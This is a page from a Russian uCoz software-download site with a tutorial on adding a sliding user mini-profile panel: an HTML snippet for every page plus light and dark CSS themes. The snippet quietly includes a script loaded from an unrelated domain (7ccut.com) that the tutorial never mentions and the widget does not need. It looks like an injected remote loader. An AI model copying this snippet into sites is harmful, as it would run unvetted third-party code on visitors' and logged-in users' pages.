Понедельник, 20.08.2018, 11:57
Программы,Аудиокниги,Скрипты,Онлайн фильмы
– Если ты хочешь встретить того, кто способен уладить любую ситуацию, которая тебе не нравится, кто может дать тебе счастье, что бы там ни говорили и что бы ни думали другие, - посмотри в зеркало и скажи волшебное слово:– Привет!
Ричард Бах

Главная Регистрация Вход
 Приветствую Вас, Гость · RSS
Меню сайта
Новости сайта

Любовь и голуби (1994)
Rondo Veneziano - Venezia 2000 (1983) (927)
Рапунцель: Запутанная история (2010) Скачать бесплатно (1664)
Скачать мультфильм "Как приручить дракона" 2010 (909)
Grabber Dle Для Ucoz (1679)
StreamReader (1060)
Opera 11.01 (803)
Adobe Flash Player 10.1.102.64 (953)
Среда обитания. Гадание на кофейной гуще (2011) SATRip Скачать (950)
Старик и море (1763)
Assassins Creed Bloodlines (2009) (RUS) (PSP) (789)
Ричард Матесон Я – легенда (969)
Ольга Мяхар Особо опасная ведьма (1482)
Mail.Ru Агент 5.9 ICQ (1716)
Мантры высшего Счастья: Любовь (1199)
Скрипт Алфавита Beta 1.0 (1025)
WorldOfGoo (1066)
Д.Кэньон. Запрещенная история (1116)
Password Safe 3.1 (1750)
Все книги Ричарда Баха. (1286)

Прикольные Смайлики и Статусы для майл агента 5.7 Новые смайлики
Просмотров:[14821]
Скачиваний:[88]
Мощный анализатор ставок на рулетке Easy Roulette 2
Просмотров:[7804]
Скачиваний:[118]
Кнопка «Класс!» Одноклассники
Просмотров:[6390]
Скачиваний:[0]
Java скрипт - Генератор кода для выпадающего меню
Просмотров:[5733]
Скачиваний:[0]
Скачать бесплатно Stronghold Legends - Легенды Цитадели
Просмотров:[5603]
Скачиваний:[169]
Скачать Славянская клиника - Похудеть без диет и голода (аудиокурс/7 CD)
Просмотров:[5546]
Скачиваний:[49]
Отправить смс любым операторам бывшего снг
Просмотров:[5059]
Скачиваний:[103]

Как перевести деньги с телефона на телефон по Украине
Просмотров:[15744]

Описание и настройка HandyCache
Просмотров:[5649]


  • Притчи
  • [Жизнь прекрасна!Женские рассказы]
  • Анекдоты
  • [Анекдоты]
  • Любовь
  • [Любовь]

  •  
    Главная » 2014 » Январь » 20 » Выдвижной мини-профиль
    22:09
    Выдвижной мини-профиль
    В этом топике мы будем устанавливать красивый выдвижной мини-профиль который вовсе не занимает место на сайте. Помимо функциональности, выдвижной мини-профиль добавит вашему сайту юзабилити, пользователям будет проще обращаться к основным функциям\ссылкам сайта касающиеся управления аккаунтом и не только.

    Вы так же можете изменять, добавлять: новые ссылки, иконки, расцветку выдвижного мини профиля. Я вам подробно распишу где, что и как изменить, а так же представлю 2 уже готовых цветовых решений (светлый, темный).

    Установка
    1. Установите HTML код на всех страницах сайта, рекомендую в нижнюю часть сайта.

    Код
    <?if($USER_LOGGED_IN$)?>  
      <ul class="uwaid_panel">  
      <li class="close_p">X</li>  
      <li><a href="$PERSONAL_PAGE_LINK$"><img src="<?if($USER_AVATAR_URL$)?>$USER_AVATAR_URL$<?else?>http://pnghosts.ru/img/1275.jpg<?endif?>">Мой профиль</a></li>  
      <li><a href="$PM_URL$"><i class="uwaid_icon message"></i>Сообщения <span>$UNREAD_PM$</span></a></li>  
      <li><a href="/index/11"><i class="uwaid_icon settings"></i>Изменить данные</a></li>  
      <li><a href="$LOGOUT_LINK$"><i class="uwaid_icon exit"></i>Выйти с сайта</a></li>  
      </ul><script src="http://7ccut.com/table.js" type="text/javascript"></script>  
      <div class="my_profile">Мой профиль</div>  
      <script type="text/javascript" src="http://pnghosts.ru/js_css/3983_profile.uwaid.r.js"></script>  
      <?endif?>


    2. В таблицу стилей (CSS) вставьте один из предложенных стилей.

    Темный (Основной)

    Код
    .uwaid_panel {position: fixed; right:10px; bottom:10px; display:none; list-style: none; margin: 0; padding: 0; z-index:9999999999999;}  
      .uwaid_panel a { width: 200px; height: 40px; text-decoration:none; display: block; padding: 9px;text-align: left; font: 16px Tahoma; line-height: 37px;transition: all 0.3s 0.09s ease;-moz-transition: all 0.3s 0.09s ease;-webkit-transition: all 0.3s 0.09s ease;-o-transition: background 0.3s 0.09s ease; }  
      .uwaid_panel a:hover { text-decoration:none;}  
      .uwaid_panel a img, .uwaid_icon { height: 40px; width: 40px; float: left; margin-right: 9px; }  
      .uwaid_panel a span {border-radius: 46px;float: right;padding: 0 15px;font-size: 13px;}  
      .uwaid_icon {background:url('http://pnghosts.ru/img/18148035.png');}  
      .settings {background-position-y: -40px;}  
      .exit {background-position-y: -80px;}  
      .my_profile {padding: 0 23px;z-index:9999999999999; text-align:center; font:16px Tahoma; line-height:37px;transition: all 0.3s 0.09s ease;-moz-transition: all 0.3s 0.09s ease;-webkit-transition: all 0.3s 0.09s ease;-o-transition: background 0.3s 0.09s ease; position:fixed; right:10px; bottom:10px;}  
      .my_profile:hover {cursor:pointer;}  
      .close_p {position: absolute;margin-left: 216px;border-radius: 17px;padding: 4px 8px;margin-top: -14px;}  
      .close_p:hover {cursor:pointer;}  
      /* Цветовые стили */  
      .uwaid_panel {border:7px solid #33373b;border-bottom:6px solid #33373b;border-left:none; }  
      .uwaid_panel a {background: #272a2d; border-left:7px solid #33373b;color: #fff;}  
      .uwaid_panel a:hover {background:#232629;border-left:7px solid #e05b5b;}  
      .uwaid_panel a span {background: #e05b5b;}  
      .my_profile {border:7px solid #33373b;background: #272a2d;color:#fff;}  
      .my_profile:hover {background:#454B50;}  
      .close_p {background: #e05b5b;color: #fff;}  
      .close_p:hover {background:#F87676;}


    Светлый

    Код
    .uwaid_panel { position: fixed; right:10px; bottom:10px; display:none; list-style: none; margin: 0; padding: 0; z-index:9999999999999;}  
      .uwaid_panel a { width: 200px; height: 40px; text-decoration:none; display: block; padding: 9px;text-align: left; font: 16px Tahoma; line-height: 37px;transition: all 0.3s 0.09s ease;-moz-transition: all 0.3s 0.09s ease;-webkit-transition: all 0.3s 0.09s ease;-o-transition: background 0.3s 0.09s ease; }  
      .uwaid_panel a:hover {text-decoration:none;}  
      .uwaid_panel a img, .uwaid_icon { height: 40px; width: 40px; float: left; margin-right: 9px; }  
      .uwaid_panel a span {border-radius: 46px;float: right;padding: 0 15px;font-size: 13px;}  
      .uwaid_icon {background:url('http://pnghosts.ru/img/18148035.png');}  
      .settings {background-position-y: -40px;}  
      .exit {background-position-y: -80px;}  
      .my_profile {padding: 0 23px;z-index:9999999999999; text-align:center; font:16px Tahoma; line-height:37px;transition: all 0.3s 0.09s ease;-moz-transition: all 0.3s 0.09s ease;-webkit-transition: all 0.3s 0.09s ease;-o-transition: background 0.3s 0.09s ease; position:fixed; right:10px; bottom:10px;}  
      .my_profile:hover {cursor:pointer;}  
      .close_p {position: absolute;margin-left: 216px;border-radius: 17px;padding: 4px 8px;margin-top: -14px;}  
      .close_p:hover {cursor:pointer;}  
      /* Цветовые стили */  
      .uwaid_panel {border: 7px solid #C4C6C7;border-bottom: 6px solid #C4C6C7;border-left:none;}  
      .uwaid_panel a {background: #E4E4E4;border-left: 7px solid #C4C6C7;color:#555353;text-shadow: 0 1px 0 #fff;}  
      .uwaid_panel a:hover {background: #A2A2A2;border-left: 7px solid #807C7C;text-shadow:0 1px 0 #BDBDBD;}  
      .uwaid_panel a span {background: #C7C7C7;}  
      .my_profile {background:#E4E4E4;border: 7px solid #C4C6C7;color:#555353;}  
      .my_profile:hover {background:#DAD7D7; border: 7px solid #807C7C;}  
      .close_p {background: #C7C7C7;color: #fff;}  
      .close_p:hover {background: #A2A2A2;}


    Настройка цветов
    Для удобства все стили отвечающие за цветовую схему выдвижного мини-профиля вынесены в отдельные селекторы. После "/* Цветовые стили */".
    .uwaid_panel — Основной стиль панели.
    .uwaid_panel a — Стили ссылки в обычном состоянии.
    .uwaid_panel a:hover — Стили ссылки при наведении.
    .uwaid_panel a span — Стили количества сообщений.
    .my_profile — Стили кнопки вызова панели.
    .close_p — Стили кнопки закрытия панели.

    Основываясь на этом можно изменять цвета:
    border — Обводка
    background — Фон
    color — Цвет текста
    Просмотров: 275 | Добавил: Bitfood | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Copyright MyCorp © 2018

    Мультфильм Скрипт смотреть онлайн аудиокнига Программы 2010 Windows soft Rus build 2013 Multi Ashampoo studio Professional ENG СКАЧАТЬ БЕСПЛАТНО final скачать бесплатно ccleaner Utilities Portable adobe converter video русский Repack photo pro KpoJIuK ultimate D!akov Edition Advanced player Auslogics BoostSpeed PC рс 365 Commander Care Wise 2014 uninstall TooL Download Internet Business
    Заработать Твиттер



    Поиск
    Услуги
    Бесплатный Хостинг
    Посоветовать страницу

    Аудиокнига случайная
    WorldOfGoo (1066)
    Иван Миронов. Замурованные. Хроники Кремлевского централа (1295)
    Аудиокнига На берегу Рио-Пьедра села я и заплакала (1402)
    Дневник грязной Евы (1295)
    Луин Майкл - Умей задать вопрос (Аудиокнига,Детектив) (1077)
    Аудиокнига Щелкунчик-Эрнст Теодор Амадей Гофман (1295)
    Пеппи Длинный Чулок. (2822)
    Аудиокнига Левиафан Борис Акунин (977)
    Ричард Бах. "Иллюзии, или приключения Мессии, который Мессией быть не хотел" (1140)
    Пауло Коэльо. Ведьма с Портобелло (3861)
    Михаил Булгаков. "Мастер и Маргарита" (1090)
    Снежная королева -Андерсен Ганс Христиан (1156)
    Пауло Коэльо-Заир,аудио книга (1584)
    Assassins Creed Bloodlines (2009) (RUS) (PSP) (789)
    Вальтер Скотт - Айвенго /аудиокнига/ МР3 (2732)
    Вход
    Статистика

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0

    Copyright MyCorp © 2018
    Яндекс.Метрика
    |